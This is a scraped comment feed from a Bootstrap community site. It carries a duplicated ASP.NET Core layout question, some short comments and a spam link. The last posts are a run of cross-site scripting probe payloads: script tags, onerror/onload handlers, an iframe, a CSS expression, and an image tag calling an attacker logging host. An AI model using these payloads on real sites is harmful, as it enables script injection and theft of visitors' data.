Ask questions about the CSS layout framework, Bootstrap, and Bootsnipp.com

Welcome to the new Bootstrap Community!

If you are having problems with something in your project, we hope you will ask a question here. If you see a question that you know an answer to, please help another user out and take the time to respond.

Bootstrap Community, frontend Development

Good evening folks.I'm working on a website in ASP .NET Core MVC. The application uses a shared template, the template looks like this:@using System.Diagnostics@using Client.Application.Models.Gui.Elements@using Client.Application.Repositories.JuryRepository.Contracts@using Client.Application.Services.Data.Gui.Contracts@using Microsoft.AspNetCore.Identity@using Newtonsoft.Json@inject IMenuStructureService _menuStructureService@inject IMenuStructureRepository _menuStructureRepository@inject UserManager<IdentityUser> _userManger@{ List<MenuStructure> userMenus = null; if (User.Identity.IsAuthenticated) { userMenus = new List<MenuStructure>(); var user = await _userManger.GetUserAsync(User); var rolesArray = _userManger.GetRolesAsync(user).Result; // Debug Debug.WriteLine($"user = {JsonConvert.SerializeObject(user, Formatting.Indented)}"); Debug.WriteLine($"rolesArray = {JsonConvert.SerializeObject(rolesArray, Formatting.Indented)}"); foreach (var role in rolesArray) { var menuStructure = _menuStructureService.LoadCompleteMenuRole(role); // Debug Debug.WriteLine($"menuStructure = {JsonConvert.SerializeObject(menuStructure, Formatting.Indented)}"); if (menuStructure != null && menuStructure.Count > 0) { userMenus.AddRange(menuStructure); } } // Debug Debug.WriteLine($"userMenus = {JsonConvert.SerializeObject(userMenus, Formatting.Indented)}"); }}<html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>@ViewData["Title"] - Client Application</title> <link rel="stylesheet" href="~/lib/bootstrap/dist/css/bootstrap.min.css" /> <link rel="stylesheet" href="~/css/site.css" /> <!-- Our Custom CSS --> <link rel="stylesheet" href="~/css/style.css"> <!-- Font Awesome JS --> <script defer src="https://use.fontawesome.com/releases/v5.0.13/js/solid.js" integrity="sha384-tzzSw1/Vo+0N5UhStP3bvwWPq+uvzCMfrN1fEFe+xBmv1C/AtVX5K0uZtmcHitFZ" crossorigin="anonymous"></script> <script defer src="https://use.fontawesome.com/releases/v5.0.13/js/fontawesome.js" integrity="sha384-6OIrr52G08NpOFSZdxxz1xdNSndlD4vdcf/q2myIUVO0VsqaGHJsB0RaBE01VTOY" crossorigin="anonymous"></script> <script src="https://kit.fontawesome.com/612fd28750.js" crossorigin="anonymous"></script> </head> <body> <div class="wrapper"> <!-- Sidebar --> <nav id="sidebar"> <div class="sidebar-header"> <h3>Application</h3> <strong>JT</strong> </div> <ul class="list-unstyled components"> <li class="active"> <a asp-area="" asp-controller="Home" asp-action="Index"> <i class="fas fa-home"></i> Start </a> </li> @{ if (User.Identity.IsAuthenticated) { if (userMenus != null) { foreach (var userMenu in userMenus) { // Debug Debug.WriteLine($"userMenu = {JsonConvert.SerializeObject(userMenu)}"); var controlName = userMenu.MenuName + "SubMenu"; <li> <a href="#@controlName" data-toggle="collapse" aria-expanded="false" class="dropdown-toggle"> <i class="fas fa-home"></i> @userMenu.Caption </a> <ul class="collapse list-unstyled" id="@controlName"> @foreach (var menuItem in userMenu.MenuElements) { // Debug Debug.WriteLine($"menuItem = {JsonConvert.SerializeObject(menuItem)}"); <li> <a asp-area=@menuItem.AspArea asp-controller=@menuItem.AspController asp-action=@menuItem.AspAction>@menuItem.ElementName</a> </li> } </ul> </li> } } } } </ul> </nav> <!-- Page Content --> <div id="content"> <nav class="navbar navbar-expand-lg navbar-light bg-light"> <div class="container-fluid"> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <ul class="nav navbar-nav ml-auto"> <li class="nav-item"> <partial name="_LoginPartial" /> </li> </ul> </div> </div> </nav> @RenderBody() </div> <footer class="border-top footer text-muted"> <div class="container"> &copy; 2021 - <i>Client</i> </div> </footer> </div> <script src="~/lib/jquery/dist/jquery.min.js"></script> <!-- Popper.JS --> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.0/umd/popper.min.js" integrity="sha384-cs/chFZiN24E4KMATLdqdvsezGxaGsi4hLGOzlXwp5UZB1LY//20VyM2taTB4QvJ" crossorigin="anonymous"></script> <script src="~/lib/bootstrap/dist/js/bootstrap.bundle.min.js"></script> <script src="~/js/site.js" asp-append-version="true"></script> <script type="text/javascript"> $(document).ready(function () { $('#sidebarCollapse').on('click', function () { $('#sidebar').toggleClass('active'); }); }); </script> @await RenderSectionAsync("Scripts", required: false) </body></html>This uses 2 css files:1. site.css/ Please see documentation at https://docs.microsoft.com/aspnet/core/client-side/bundling-and-minificationfor details on configuring this project to bundle and minify static web assets. /a.navbar-brand { white-space: normal; text-align: center; word-break: break-all;}/ Provide sufficient contrast against white background /a { color: #0366d6;}.btn-primary { color: #fff; background-color: #1b6ec2; border-color: #1861ac;}.nav-pills .nav-link.active, .nav-pills .show > .nav-link { color: #fff; background-color: #1b6ec2; border-color: #1861ac;}/ Sticky footer styles-------------------------------------------------- /html { font-size: 14px;}@media (min-width: 768px) { html { font-size: 16px; }}.border-top { border-top: 1px solid #e5e5e5;}.border-bottom { border-bottom: 1px solid #e5e5e5;}.box-shadow { box-shadow: 0 .25rem .75rem rgba(0, 0, 0, .05);}button.accept-policy { font-size: 1rem; line-height: inherit;}/ Sticky footer styles-------------------------------------------------- /html { position: relative; min-height: 100%;}body { / Margin bottom by footer height / margin-bottom: 60px;}.footer { position: absolute; bottom: 0; width: 100%; white-space: nowrap; line-height: 60px; / Vertically center the text there /}.row-bordered { position: relative;}.row-bordered:after { content: ""; display: block; border-bottom: 1px solid #ccc; position: absolute; bottom: 0; left: 15px; right: 15px;}2. Style.css/ DEMO STYLE/@import "https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700";body { font-family: 'Poppins', sans-serif; background: #fafafa;}p { font-family: 'Poppins', sans-serif; font-size: 1.1em; font-weight: 300; line-height: 1.7em; color: #999;}a,a:hover,a:focus { color: inherit; text-decoration: none; transition: all 0.3s;}.navbar { padding: 15px 10px; background: #fff; border: none; border-radius: 0; margin-bottom: 40px; box-shadow: 1px 1px 3px rgba(0, 0, 0, 0.1);}.navbar-btn { box-shadow: none; outline: none !important; border: none;}.line { width: 100%; height: 1px; border-bottom: 1px dashed #ddd; margin: 40px 0;}i,span { display: inline-block;}/ --------------------------------------------------- SIDEBAR STYLE----------------------------------------------------- /.wrapper { display: flex; align-items: stretch;}#sidebar { min-width: 250px; max-width: 250px; background: #7386D5; color: #fff; transition: all 0.3s;}#sidebar.active { min-width: 80px; max-width: 80px; text-align: center;}#sidebar.active .sidebar-header h3,#sidebar.active .CTAs { display: none;}#sidebar.active .sidebar-header strong { display: block;}#sidebar ul li a { text-align: left;}#sidebar.active ul li a { padding: 20px 10px; text-align: center; font-size: 0.85em;}#sidebar.active ul li a i { margin-right: 0; display: block; font-size: 1.8em; margin-bottom: 5px;}#sidebar.active ul ul a { padding: 10px !important;}#sidebar.active .dropdown-toggle::after { top: auto; bottom: 10px; right: 50%; -webkit-transform: translateX(50%); -ms-transform: translateX(50%); transform: translateX(50%);}#sidebar .sidebar-header { padding: 20px; background: #6d7fcc;}#sidebar .sidebar-header strong { display: none; font-size: 1.8em;}#sidebar ul.components { padding: 20px 0; border-bottom: 1px solid #47748b;}#sidebar ul li a { padding: 10px; font-size: 1.1em; display: block;}#sidebar ul li a:hover { color: #7386D5; background: #fff;}#sidebar ul li a i { margin-right: 10px;}#sidebar ul li.active>a,a[aria-expanded="true"] { color: #fff; background: #6d7fcc;}a[data-toggle="collapse"] { position: relative;}.dropdown-toggle::after { display: block; position: absolute; top: 50%; right: 20px; transform: translateY(-50%);}ul ul a { font-size: 0.9em !important; padding-left: 30px !important; background: #6d7fcc;}ul.CTAs { padding: 20px;}ul.CTAs a { text-align: center; font-size: 0.9em !important; display: block; border-radius: 5px; margin-bottom: 5px;}a.download { background: #fff; color: #7386D5;}a.article,a.article:hover { background: #6d7fcc !important; color: #fff !important;}/ --------------------------------------------------- CONTENT STYLE----------------------------------------------------- /#content { width: 100%; padding: 20px; min-height: 100vh; transition: all 0.3s;}/ --------------------------------------------------- MEDIAQUERIES----------------------------------------------------- /@media (max-width: 768px) { #sidebar { min-width: 80px; max-width: 80px; text-align: center; margin-left: -80px !important; } .dropdown-toggle::after { top: auto; bottom: 10px; right: 50%; -webkit-transform: translateX(50%); -ms-transform: translateX(50%); transform: translateX(50%); } #sidebar.active { margin-left: 0 !important; } #sidebar .sidebar-header h3, #sidebar .CTAs { display: none; } #sidebar .sidebar-header strong { display: block; } #sidebar ul li a { padding: 20px 10px; } #sidebar ul li a span { font-size: 0.85em; } #sidebar ul li a i { margin-right: 0; display: block; } #sidebar ul ul a { padding: 10px !important; } #sidebar ul li a i { font-size: 1.3em; } #sidebar { margin-left: 0; } #sidebarCollapse span { display: none; }}The client wants the contents of the entire page to be visible on 1 screen, without having to scroll. At the moment that's possible by zooming in the browser, but there must be a better way. Anyone knows a way how to have the page center and fit inside 1 screen, using bootstrap?

fysicus (0) - 1 week ago - 0 replies 0


Bootstrap Community, frontend Development

Good evening folks.I'm working on a website in ASP .NET Core MVC. The application uses a shared template, the template looks like this:@using System.Diagnostics@using Client.Application.Models.Gui.Elements@using Client.Application.Repositories.JuryRepository.Contracts@using Client.Application.Services.Data.Gui.Contracts@using Microsoft.AspNetCore.Identity@using Newtonsoft.Json@inject IMenuStructureService _menuStructureService@inject IMenuStructureRepository _menuStructureRepository@inject UserManager<IdentityUser> _userManger@{ List<MenuStructure> userMenus = null; if (User.Identity.IsAuthenticated) { userMenus = new List<MenuStructure>(); var user = await _userManger.GetUserAsync(User); var rolesArray = _userManger.GetRolesAsync(user).Result; // Debug Debug.WriteLine($"user = {JsonConvert.SerializeObject(user, Formatting.Indented)}"); Debug.WriteLine($"rolesArray = {JsonConvert.SerializeObject(rolesArray, Formatting.Indented)}"); foreach (var role in rolesArray) { var menuStructure = _menuStructureService.LoadCompleteMenuRole(role); // Debug Debug.WriteLine($"menuStructure = {JsonConvert.SerializeObject(menuStructure, Formatting.Indented)}"); if (menuStructure != null && menuStructure.Count > 0) { userMenus.AddRange(menuStructure); } } // Debug Debug.WriteLine($"userMenus = {JsonConvert.SerializeObject(userMenus, Formatting.Indented)}"); }}<html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>@ViewData["Title"] - Client Application</title> <link rel="stylesheet" href="~/lib/bootstrap/dist/css/bootstrap.min.css" /> <link rel="stylesheet" href="~/css/site.css" /> <!-- Our Custom CSS --> <link rel="stylesheet" href="~/css/style.css"> <!-- Font Awesome JS --> <script defer src="https://use.fontawesome.com/releases/v5.0.13/js/solid.js" integrity="sha384-tzzSw1/Vo+0N5UhStP3bvwWPq+uvzCMfrN1fEFe+xBmv1C/AtVX5K0uZtmcHitFZ" crossorigin="anonymous"></script> <script defer src="https://use.fontawesome.com/releases/v5.0.13/js/fontawesome.js" integrity="sha384-6OIrr52G08NpOFSZdxxz1xdNSndlD4vdcf/q2myIUVO0VsqaGHJsB0RaBE01VTOY" crossorigin="anonymous"></script> <script src="https://kit.fontawesome.com/612fd28750.js" crossorigin="anonymous"></script> </head> <body> <div class="wrapper"> <!-- Sidebar --> <nav id="sidebar"> <div class="sidebar-header"> <h3>Application</h3> <strong>JT</strong> </div> <ul class="list-unstyled components"> <li class="active"> <a asp-area="" asp-controller="Home" asp-action="Index"> <i class="fas fa-home"></i> Start </a> </li> @{ if (User.Identity.IsAuthenticated) { if (userMenus != null) { foreach (var userMenu in userMenus) { // Debug Debug.WriteLine($"userMenu = {JsonConvert.SerializeObject(userMenu)}"); var controlName = userMenu.MenuName + "SubMenu"; <li> <a href="#@controlName" data-toggle="collapse" aria-expanded="false" class="dropdown-toggle"> <i class="fas fa-home"></i> @userMenu.Caption </a> <ul class="collapse list-unstyled" id="@controlName"> @foreach (var menuItem in userMenu.MenuElements) { // Debug Debug.WriteLine($"menuItem = {JsonConvert.SerializeObject(menuItem)}"); <li> <a asp-area=@menuItem.AspArea asp-controller=@menuItem.AspController asp-action=@menuItem.AspAction>@menuItem.ElementName</a> </li> } </ul> </li> } } } } </ul> </nav> <!-- Page Content --> <div id="content"> <nav class="navbar navbar-expand-lg navbar-light bg-light"> <div class="container-fluid"> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <ul class="nav navbar-nav ml-auto"> <li class="nav-item"> <partial name="_LoginPartial" /> </li> </ul> </div> </div> </nav> @RenderBody() </div> <footer class="border-top footer text-muted"> <div class="container"> &copy; 2021 - <i>Client</i> </div> </footer> </div> <script src="~/lib/jquery/dist/jquery.min.js"></script> <!-- Popper.JS --> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.0/umd/popper.min.js" integrity="sha384-cs/chFZiN24E4KMATLdqdvsezGxaGsi4hLGOzlXwp5UZB1LY//20VyM2taTB4QvJ" crossorigin="anonymous"></script> <script src="~/lib/bootstrap/dist/js/bootstrap.bundle.min.js"></script> <script src="~/js/site.js" asp-append-version="true"></script> <script type="text/javascript"> $(document).ready(function () { $('#sidebarCollapse').on('click', function () { $('#sidebar').toggleClass('active'); }); }); </script> @await RenderSectionAsync("Scripts", required: false) </body></html>This uses 2 css files:1. site.css/ Please see documentation at https://docs.microsoft.com/aspnet/core/client-side/bundling-and-minificationfor details on configuring this project to bundle and minify static web assets. /a.navbar-brand { white-space: normal; text-align: center; word-break: break-all;}/ Provide sufficient contrast against white background /a { color: #0366d6;}.btn-primary { color: #fff; background-color: #1b6ec2; border-color: #1861ac;}.nav-pills .nav-link.active, .nav-pills .show > .nav-link { color: #fff; background-color: #1b6ec2; border-color: #1861ac;}/ Sticky footer styles-------------------------------------------------- /html { font-size: 14px;}@media (min-width: 768px) { html { font-size: 16px; }}.border-top { border-top: 1px solid #e5e5e5;}.border-bottom { border-bottom: 1px solid #e5e5e5;}.box-shadow { box-shadow: 0 .25rem .75rem rgba(0, 0, 0, .05);}button.accept-policy { font-size: 1rem; line-height: inherit;}/ Sticky footer styles-------------------------------------------------- /html { position: relative; min-height: 100%;}body { / Margin bottom by footer height / margin-bottom: 60px;}.footer { position: absolute; bottom: 0; width: 100%; white-space: nowrap; line-height: 60px; / Vertically center the text there /}.row-bordered { position: relative;}.row-bordered:after { content: ""; display: block; border-bottom: 1px solid #ccc; position: absolute; bottom: 0; left: 15px; right: 15px;}2. Style.css/ DEMO STYLE/@import "https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700";body { font-family: 'Poppins', sans-serif; background: #fafafa;}p { font-family: 'Poppins', sans-serif; font-size: 1.1em; font-weight: 300; line-height: 1.7em; color: #999;}a,a:hover,a:focus { color: inherit; text-decoration: none; transition: all 0.3s;}.navbar { padding: 15px 10px; background: #fff; border: none; border-radius: 0; margin-bottom: 40px; box-shadow: 1px 1px 3px rgba(0, 0, 0, 0.1);}.navbar-btn { box-shadow: none; outline: none !important; border: none;}.line { width: 100%; height: 1px; border-bottom: 1px dashed #ddd; margin: 40px 0;}i,span { display: inline-block;}/ --------------------------------------------------- SIDEBAR STYLE----------------------------------------------------- /.wrapper { display: flex; align-items: stretch;}#sidebar { min-width: 250px; max-width: 250px; background: #7386D5; color: #fff; transition: all 0.3s;}#sidebar.active { min-width: 80px; max-width: 80px; text-align: center;}#sidebar.active .sidebar-header h3,#sidebar.active .CTAs { display: none;}#sidebar.active .sidebar-header strong { display: block;}#sidebar ul li a { text-align: left;}#sidebar.active ul li a { padding: 20px 10px; text-align: center; font-size: 0.85em;}#sidebar.active ul li a i { margin-right: 0; display: block; font-size: 1.8em; margin-bottom: 5px;}#sidebar.active ul ul a { padding: 10px !important;}#sidebar.active .dropdown-toggle::after { top: auto; bottom: 10px; right: 50%; -webkit-transform: translateX(50%); -ms-transform: translateX(50%); transform: translateX(50%);}#sidebar .sidebar-header { padding: 20px; background: #6d7fcc;}#sidebar .sidebar-header strong { display: none; font-size: 1.8em;}#sidebar ul.components { padding: 20px 0; border-bottom: 1px solid #47748b;}#sidebar ul li a { padding: 10px; font-size: 1.1em; display: block;}#sidebar ul li a:hover { color: #7386D5; background: #fff;}#sidebar ul li a i { margin-right: 10px;}#sidebar ul li.active>a,a[aria-expanded="true"] { color: #fff; background: #6d7fcc;}a[data-toggle="collapse"] { position: relative;}.dropdown-toggle::after { display: block; position: absolute; top: 50%; right: 20px; transform: translateY(-50%);}ul ul a { font-size: 0.9em !important; padding-left: 30px !important; background: #6d7fcc;}ul.CTAs { padding: 20px;}ul.CTAs a { text-align: center; font-size: 0.9em !important; display: block; border-radius: 5px; margin-bottom: 5px;}a.download { background: #fff; color: #7386D5;}a.article,a.article:hover { background: #6d7fcc !important; color: #fff !important;}/ --------------------------------------------------- CONTENT STYLE----------------------------------------------------- /#content { width: 100%; padding: 20px; min-height: 100vh; transition: all 0.3s;}/ --------------------------------------------------- MEDIAQUERIES----------------------------------------------------- /@media (max-width: 768px) { #sidebar { min-width: 80px; max-width: 80px; text-align: center; margin-left: -80px !important; } .dropdown-toggle::after { top: auto; bottom: 10px; right: 50%; -webkit-transform: translateX(50%); -ms-transform: translateX(50%); transform: translateX(50%); } #sidebar.active { margin-left: 0 !important; } #sidebar .sidebar-header h3, #sidebar .CTAs { display: none; } #sidebar .sidebar-header strong { display: block; } #sidebar ul li a { padding: 20px 10px; } #sidebar ul li a span { font-size: 0.85em; } #sidebar ul li a i { margin-right: 0; display: block; } #sidebar ul ul a { padding: 10px !important; } #sidebar ul li a i { font-size: 1.3em; } #sidebar { margin-left: 0; } #sidebarCollapse span { display: none; }}The client wants the contents of the entire page to be visible on 1 screen, without having to scroll. At the moment that's possible by zooming in the browser, but there must be a better way. Anyone knows a way how to have the page center and fit inside 1 screen, using bootstrap?

fysicus (0) - 1 week ago - 0 replies 0


BS4 Login, Register FORM + Mobile

How can I force "social buttons" in one single row on "form-signup"?

ElGranFacio (0) - 1 week ago - 0 replies 0


BS4 Login, Register FORM + Mobile

How can I force social buttons in one single row on form-signup?

ElGranFacio (0) - 1 week ago - 0 replies 0


Registration Form with Javascipt Validation

why tf u use css. this is supposed to be doe with bootstrap

azikdev (0) - 2 weeks ago - 0 replies 0


Registration Form with Javascipt Validation

why tf u use css. this is supposed to be doe with bootstrap

azikdev (0) - 2 weeks ago - 0 replies 0


Arabic Keyboard

if you want to make your keyboard more attractive you need to add more feature into it.i am suggesting you a tool you should add that tool https://spacebarcounter.info/

alon70 (0) - 2 weeks ago - 0 replies 0


2. gexpert-aboutus

e<img sRc='http://attacker-9750/log.php?

test9999 (0) - 2 weeks ago - 0 replies 0


2. gexpert-aboutus

e<ifRAme sRc=9616.com></IfRamE>

test9999 (0) - 2 weeks ago - 0 replies 0


2. gexpert-aboutus

e<WC00SG>ICAKA[!+!]</WC00SG>

test9999 (0) - 2 weeks ago - 0 replies 0


2. gexpert-aboutus

ejiIZz<ScRiPt >J02u(9069)</ScRiPt>

test9999 (0) - 2 weeks ago - 0 replies 0


2. gexpert-aboutus

e}body{acu:Expre//SSion(J02u(9343))}

test9999 (0) - 2 weeks ago - 0 replies 0


2. gexpert-aboutus

<a HrEF=http://xss.bxss.me></a>

test9999 (0) - 2 weeks ago - 0 replies 0


2. gexpert-aboutus

e<input autofocus onfocus=J02u(9465)>

test9999 (0) - 2 weeks ago - 0 replies 0


2. gexpert-aboutus

e&lt;ScRiPt&gt;J02u(9170)&lt;/sCripT&gt;

test9999 (0) - 2 weeks ago - 0 replies 0


2. gexpert-aboutus

e\u003CScRiPt\J02u(9597)\u003C/sCripT\u003E

test9999 (0) - 2 weeks ago - 0 replies 0


2. gexpert-aboutus

e<img/src=">" onerror=alert(9508)>

test9999 (0) - 2 weeks ago - 0 replies 0


2. gexpert-aboutus

e<img src=xyz OnErRor=J02u(9000)>

test9999 (0) - 2 weeks ago - 0 replies 0


2. gexpert-aboutus

e<img src=//xss.bxss.me/t/dot.gif onload=J02u(9161)>

test9999 (0) - 2 weeks ago - 0 replies 0